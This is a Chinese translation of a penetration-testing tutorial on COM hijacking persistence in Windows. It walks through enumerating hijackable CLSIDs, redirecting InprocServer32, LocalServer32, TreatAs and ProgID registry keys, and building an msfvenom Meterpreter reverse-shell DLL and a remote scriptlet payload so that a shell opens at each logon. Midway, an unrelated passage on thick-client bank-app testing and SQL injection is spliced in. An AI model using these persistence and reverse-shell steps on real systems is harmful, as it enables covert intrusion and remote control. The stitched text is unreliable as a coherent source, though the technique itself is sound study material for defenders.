持久性COM劫持的实现
2020-08-27 11:45:00 Author: www.4hou.com(查看原文) 阅读量:323 收藏

导语:微软在Windows 3.11中引入了(Component Object Model, COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX, COM+, DCOM等)使用,并且在不同的Windows环境中允许互操作性,进程间通信和代码重用。

微软在Windows 3.11中引入了(Component Object Model, COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX, COM+, DCOM等)使用,并且在不同的Windows环境中允许互操作性,进程间通信和代码重用。COM对象的滥用使安防团队能够代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表配置单元中的类在HKLM中的类之前执行。唯一影响高完整性进程(提升)的例外情况是,仅从HKLM位置加载对象,以防止特权提升。

有多种方法可以执行代码,但有几种情况下,COM已被用于持久性攻击中,进行横向移动和防御规避。根据恶意代码执行的方式,在COM劫持期间会使用各种注册表子项。具体如下所示:

InprocServer/InprocServer32
LocalServer/LocalServer32
TreatAs
ProgID

上述子密钥位于以下注册表组中:

HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_LOCAL_MACHINE\Software\Classes\CLSID

发现COM密钥,以进行劫持

识别可用于进行COM劫持的COM密钥很简单,并且需要使用Process Monitor来发现缺少CLSID且不需要提升特权(HKCU)的COM服务器。可以使用以下过滤器配置过程监视器:

操作是RegOpenKey

结果是NAME NOT FOUND

路径以InprocServer32结尾

排除路径是否以HKLM开头

1.png

COM劫持——进程监视器筛选器

打开文件并执行任务(例如,标准用户)将生成带有COM密钥的列表,可以将该列表进行劫持,以便将任意库加载到受信任的进程。

2.png

COM劫持–流程监视器结果

结果可以直接使用,也可以以CSV和XML等各种格式导出。

3.png

流程监控器——CSV导出

由David Tulis开发的称为acCOMplice的PowerShell脚本包含一个函数,该函数可以获取CSV格式的过程监视器结果,以提取可能被劫持的密钥。

Extract-HijackableKeysFromProcmonCSV -CSVfile \ pentestlab.CSV

4.png

AcCOMplice——提取可劫持密钥

该工具还有一个功能,可以直接检索系统上存在的缺少的库及其CLSID。

Find-MissingLibraries

5.png

寻找失踪的库

另一种方法是执行下面的PowerShell代码片段,bohops在他关于滥用COM注册表结构的文章中演示了这一点。这可以用来枚举可能被劫持的“LocalServer32”类:

$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt
$paths = gc .\values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

6.png

枚举LocalServer32值

类似地,下面的PowerShell代码可以枚举InprocServer32类:

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}

7.png

枚举InprocServer32值

执行该代码片段将生成一个COM库列表,可以调查这些库是否有COM劫持机会。

8.png

枚举InprocServer32结果

发现COM密钥——计划任务

马特·尼尔森(Matt Nelson)和马修·格雷伯(Matthew Graeber)开发了PowerShell脚本(Get-ScheduledTaskComHandler),该脚本可以检查主机上所有在用户登录时执行并且容易受到COM劫持的预定任务。

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

9.png

COM劫持–检索计划任务

参数“PersistenceLocations”将检索易受COM劫持的计划任务,这些任务可用于持久性且不需要提升的特权。 CLSID和关联的DLL也将显示在输出中。

Get-ScheduledTaskComHandler -PersistenceLocations

10.png

COM劫持–持久性位置

任务“CacheTask”在调用时使用“wininet.dll”并具有以下CLSID:{0358B920-0AC7-461F-98F4-58E32CD89148}

11.png

COM劫持——CacheTask

还可以从任务的配置文件中获取CLSID和关联的DLL。该文件存储在以下位置:

C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask

12.png

CacheTask–配置文件

另外,使用以下参数从PowerShell控制台调用“ schtasks”实用程序也可以检索文件的内容。

schtasks /query /XML /TN "\Microsoft\Windows\Wininet\CacheTask"

13.png

CacheTask ——XML配置

查看任务计划程序将验证任务触发器将在任何用户登录期间启动。劫持CLSID将在系统上建立持久性条件。

14.png

任务计划程序——CacheTask

InprocServer32

“ InprocServer32”(进程内服务器)注册表项指示COM库在磁盘上的位置,并定义线程模型。下图演示了“ InprocServer32”中通常存在的注册表项。

15.png

InprocServer32 –注册表项

在HKCU中为上面发现的“缓存任务”重新创建注册表项结构并指向任意DLL而不是“ wininet.dll”将执行代码,因为HKCU中的DLL将在HKLM之前加载。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

16.png

CacheTask ——CLSID被劫持

以下DLL文件将创建一个消息框,该消息框将演示一条消息,指示启动进程“ CacheTask”时已执行了代码。

#include "pch.h"
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(0, L"Pentestlab COM Hijacking", 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

17.png

DLL消息框

需要将DLL放入磁盘,并且子项“InprocServer32”需要指向DLL的位置。

18.png

InprocServer32 –劫持注册表项DLL

由于默认情况下“ CacheTask”计划在启动期间启动,因此任何用户代码的登录都将在登录期间永久执行(持久性)。

19.png

COM劫持——MessageBox DLL

通过执行以下命令,也可以使用Metasploit实用程序“msfvenom”生成恶意DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll

20.png

COM劫持——Metasploit DLL

用Metasploit在劫持发生的同一注册表路径上生成的DLL替换以前的DLL。

21.png

COM劫持——Metasploit DLL注册表项

每次用户在目标系统上登录时,都将执行代码并建立Meterpreter会话。

22.png

COM劫持——Meterpreter

也可以执行无脚本的有效载荷,例如scriptlet,而不是DLL文件。

  " _ue_custom_node_="true">

“ScriptletURL”注册表项定义了在调用COM类时将获取并执行的任意.sct文件的远程位置。

23.png

ScriptletURL——注册表项

执行以下命令将调用COM类,并将直接执行有效载荷。

rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC}

24.png

InprocServer32 –通过ProgID执行脚本

25.png

InprocServer32 –通过Scriptlet的Meterpreter

LocalServer32

LocalServer32注册表项指定外部COM对象在系统上的位置,这些通常是具有可执行文件形式的应用程序。在可劫持项枚举过程中,较早时已检索到以下COM类ID,可用于执行任意可执行文件。

HKEY_CLASSES_ROOT\CLSID\{45EAE363-122A-445A-97B6-3DE890E786F8}\LocalServer32

26.png

LocalServer32 –注册表项

用任意可执行文件在磁盘上的位置替换应用程序的默认值将实现劫持。

27.png

LocalServer32 –注册表项被劫持

还必须通过执行以下PowerShell命令来激活ClassID,否则COM对象将被禁用。

[activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

28.png

LocalServer32 –激活CLSID

调用COM对象时,将运行任意可执行文件,并与命令和控制系统建立会话。

29.png

LocalServer32 ——Meterpreter

TreatAs / ProgID

“TreatAs”是一个注册表项,它允许另一个CLSID模拟一个CLSID。这可以用于将一个COM对象重定向到另一个COM对象。最初是由Casey Smith和Matt Nelson在2017年的Windows操作系统研究中提出。滥用“TreatAs”涉及以下两个步骤:

1. 使用所选的目标COM服务器在HKCU注册表配置单元中创建一个恶意的CLSID;

2. 通过添加指向恶意CLSID的“TreatAs”子项来劫持合法CLSID;

“ProgID”是COM对象的友好名称,并且不是唯一的,以下注册表项将ProgID解析为CLSID。

HKCU\Software\Classes
HKLM\Software\Classes

这意味着,当应用程序(客户端)激活COM对象(类)时,操作系统将通过首先读取以下注册表位置来解析关联的“ProgID”:

HKCU \ Software \ Classes \ ProgID

Casey Smith和Matt Nelson在其演示文稿中发布了概念证明,以证明也可以通过其“ProgID”或“TreatAs”子项来调用该类以执行规避。以下文件可以用作示例。

30.png

COM劫持——TreatAs和ProgID注册表项

该文件将创建所需的注册表项,该注册表项将用于劫持有效的CLSID。执行以下命令会将文件导入注册表。

reg import TreatAsPersistence.reg

313.png

COM劫持–导入注册表项TreatAs和ProgID

带有“-sta”(单线程单元)开关的“rundll32”实用程序可用于调用恶意的“TreatAs” CLSID或“ProID”。

rundll32 -sta {00000001-0000-0000-0000-0000FEEDACDC}
rundll32 -sta "pentestlab"

32.png

COM劫持——TreatAs和ProgID

在这两种情况下,任意代码都将成功执行并打开会话。

33.png

COM劫持——TreatAs和ProgID Meterpreter

数据库连接是否未加密?敏感数据,例如身份证号码或医疗信息,是否以明文传输?有一次,我以用户名“blogger”向应用程序进行了身份验证。在Wireshark中搜索包列表时,“blogger”的名称出现在登录过程中。这甚至是远程可读的,这意味着数据库连接是未加密的,任何访问此网络的人都可以轻松地读取此信息。幸运的是,密码似乎是加密的,所以黑客将无法访问我的帐户。

从客户端发送的任何形式的密码,无论是明文、散列还是加密的,都应该是密码本身。当然,密码是加密的。但是,知道这个值并将其发送给服务器,就可以向应用程序验证该用户的身份。仅模糊参数值和不安全加密整个传输不会提供额外的防御。通过wireshark观察到的另一个值是登录过程的输出参数GUID。在应用程序的经过身份验证的部分中,接受GUID作为参数。

这就是我们在业务中称为“会话ID”的内容。仅使用此值,只要会话保持活动状态,攻击者就可以以博客用户的身份执行经过身份验证的操作。

但即便如此,事情也变得比实际需要的更加复杂。在这个示例中,我从该登录过程中捕获了博客的用户名和加密密码。现在,像Echo Mirage这样的工具就派上用场了。 Echo Mirage允许拦截和修改TCP通信。我可以使用用户名“blogger”和任意密码对应用程序进行身份验证,然后拦截包含“登录”过程的数据包。可以将加密的密码更改为Wireshark捕获的值。发送此请求后,我就进入了,让我们看看这位博客大亨有多少钱。让我们看看还有谁在使用Beta Bank进行银行业务,可以启用“提款”按钮。Wireshark显示此函数正在发送SQL查询。Echo Mirage可用于直接修改SQL语句,它不能更改数据包的长度,但是可以注释掉其余的SQL。服务器使用“用户”表进行响应。显然,连接到数据库的帐户具有过多的特权,但现在我们有每个用户的信息。现在有任意数量的攻击媒介,在数据库中仍有许多要探索和修改的地方,但是The_Chairman看起来非常有钱而且很精英。Hackers – 1Wealthy Elite – 0三层体系结构BurpBurp Suite也许是我在工作中使用最多的工具,对于处理HTTP请求和响应的任何应用程序评估来说,尤其重要。

如果胖客户端基于三层体系结构,则测试的网络部分与测试Web应用程序基本相同。首要是代理流量。在“Burp”的“代理”选项卡中,在127.0.0.1上设置侦听器并选择端口。接下来,而不是通过Burp代理浏览器,而是代理整个系统。

可能有很多流量不属于被测试的应用程序,所以为了确定哪些请求来自胖客户端,就只有在知道应用程序可以访问的完整主机集之后,限制Burp的范围。通过BetaFast,我确定应用程序只向服务端发送请求。

现在,Burp可以像在任何web应用程序测试中一样使用。下面,我向Repeater选项卡发送了一个请求,并找到了SQL注入。

综上所述,很多重要的事情都是通过网络发生的,因此在测试胖客户端应用程序时,请确保不要只关注客户端! Beta Bank和BetaFast可以采取哪些不同的措施来保护其系统?

信息披露开发人员编写了许多应用程序,他们无法抗拒将敏感信息存储在文件系统和/或注册表中的甜美警报。其中包括社会保险号,信用卡号,数据库连接字符串,凭据等。开发人员可以对数据进行加密,以增强安全感,但是可能存在不安全或自定义的加密实现。如果必须存储加密数据,则必须始终将密钥存储在单独的位置,例如安全地存储在数据库中。

集中测试测试文件系统和注册表中的信息泄露非常简单,你只需要查看应用程序使用的文件和注册表项,并确保其中没有任何敏感信息。但是应用程序经常对文件和注册表项进行疯狂的调用。这就是为什么将重点放在最可能写入或读取敏感数据的应用程序区域上的原因。

安装程序如果可以测试安装,请始终以此为契机查找对文件系统或注册表的写入。现在是写入数据的最佳时机,稍后应用程序将读取该数据。该应用程序将连接到数据库吗?也许安装过程将数据库连接字符串写入注册表项。也许默认的管理员凭据存储在文件系统中。

应用程序在实际应用程序中,识别可能创建或修改敏感信息的功能区域。这通常包括初始数据库连接和登录表单。许多应用程序都为“记住我”功能保存了一些信息,因此请确定如何存储和检索这些信息。在应用程序的经过身份验证的部分中,查找专门处理敏感数据的区域。

InprocServer32 ——Internet Explorer

Internet Explorer在企业环境中被积极使用,因为它提供了与具有web界面的内部应用程序的兼容性。G Data SecurityLabs对COMpfun RAT的分析显示,攻击者劫持了一个合法的COM对象,以便在Internet Explorer进程被调用时在系统上建立持久性。

这是因为Internet Explorer像许多其他Windows应用程序一样使用以下文件api-ms-win-downlevel-1×64-l1-1-0._dl” 或“api-ms-win-downlevel-1×86-l1-1-0._dl”,当进程启动时,这个文件可以在以下Windows位置找到:

%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

COM对象劫持持久性PowerShell脚本可以用作此技术概念的证明。执行该脚本将创建所需的文件夹结构,并对主机的体系结构进行检查,以便进行必要的注册表修改。

Import-Module '.\COM Object hijacking persistence.ps1

34.png

持久性COM劫持——Internet Explorer

当启动进程“iexplore.exe”时,计算器将启动,这将证明劫持成功。

35.png

持久性COM劫持——iexplore.exe和calc

用Metasploit实用程序“msfvenom”生成任意DLL并替换.dl文件以建立Meterpreter会话也很简单。

36.png

COM劫持——Internet Explorer Metasploit DLL

在注册表中手动创建以下CLSID,并修改项以指向DLL在系统上的位置。

37.png

COM劫持——Internet Explorer注册表位置

再次启动Internet Explorer时,DLL文件将在受信任的进程下加载。

38.png

持久性COM劫持——Internet Explorer进程资源管理器

Meterpreter会话将打开,这将表明已实现持久性。应该注意的是,直接使用Metasploit生成的DLL可能会导致系统不稳定,Internet Explorer可能会作为一个进程运行但无法打开。这是因为将多次调用CAccPropServiceClass(),因此需要对DLL文件进行一些进一步的优化。

39.png

COM劫持——Internet Explorer Meterpreter

本文翻译自:https://pentestlab.blog/2020/05/20/persistence-com-hijacking/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/Mo51
如有侵权请联系:admin#unsafe.sh